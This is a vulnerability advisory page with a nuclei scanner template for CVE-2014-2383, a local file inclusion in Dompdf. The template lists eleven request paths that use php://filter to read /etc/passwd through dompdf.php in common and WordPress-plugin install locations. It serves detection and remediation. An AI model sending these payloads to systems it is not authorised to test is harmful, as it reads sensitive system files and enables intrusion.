Dompdf < v0.6.0 - Local File Inclusion

mediumseverity

6.8CVSS score

39.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.

Impact

The vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the affected system.

Fix

Upgrade Dompdf to a version higher than v0.6.0 to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}{{paths}}
Positive when: contains in header "application/pdf" and "filename=\"dompdf_out.pdf\"" AND matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2014-2383 -u <target>

The full check

id: CVE-2014-2383

info:
  name: Dompdf < v0.6.0 - Local File Inclusion
  author: 0x_Akoko,akincibor,ritikchaddha
  severity: medium
  description: |
    A vulnerability in dompdf.php in dompdf before 0.6.1, when DOMPDF_ENABLE_PHP is enabled, allows context-dependent attackers to bypass chroot protections and read arbitrary files via a PHP protocol and wrappers in the input_file parameter, as demonstrated by a php://filter/read=convert.base64-encode/resource in the input_file parameter.
  impact: |
    The vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the affected system.
  remediation: |
    Upgrade Dompdf to a version higher than v0.6.0 to mitigate the vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/33004
    - http://seclists.org/fulldisclosure/2014/Apr/258
    - https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2383/
    - https://wpscan.com/vulnerability/1d64d0cb-6b71-47bb-8807-7c8350922582
    - https://nvd.nist.gov/vuln/detail/CVE-2014-2383
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2014-2383
    cwe-id: CWE-200
    epss-score: 0.39374
    epss-percentile: 0.9862
    cpe: cpe:2.3:a:dompdf:dompdf:*:beta3:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 11
    vendor: dompdf
    product: dompdf
  tags: cve2014,cve,lfi,wp-plugin,wpscan,dompdf,wordpress,wp,edb,seclists,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"

    payloads:
      paths:
        - "/dompdf.php?input_file=php://filter/resource=/etc/passwd"
        - "/PhpSpreadsheet/Writer/PDF/DomPDF.php?input_file=php://filter/resource=/etc/passwd"
        - "/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
        - "/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
        - "/wp-content/plugins/web-portal-lite-client-portal-secure-file-sharing-private-messaging/includes/libs/pdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
        - "/wp-content/plugins/buddypress-component-stats/lib/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
        - "/wp-content/plugins/abstract-submission/dompdf-0.5.1/dompdf.php?input_file=php://filter/resource=/etc/passwd"
        - "/wp-content/plugins/post-pdf-export/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
        - "/wp-content/plugins/blogtopdf/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
        - "/wp-content/plugins/gboutique/library/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"
        - "/wp-content/plugins/wp-ecommerce-shop-styling/includes/dompdf/dompdf.php?input_file=php://filter/resource=/etc/passwd"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/pdf"
          - 'filename="dompdf_out.pdf"'
        condition: and

      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

References

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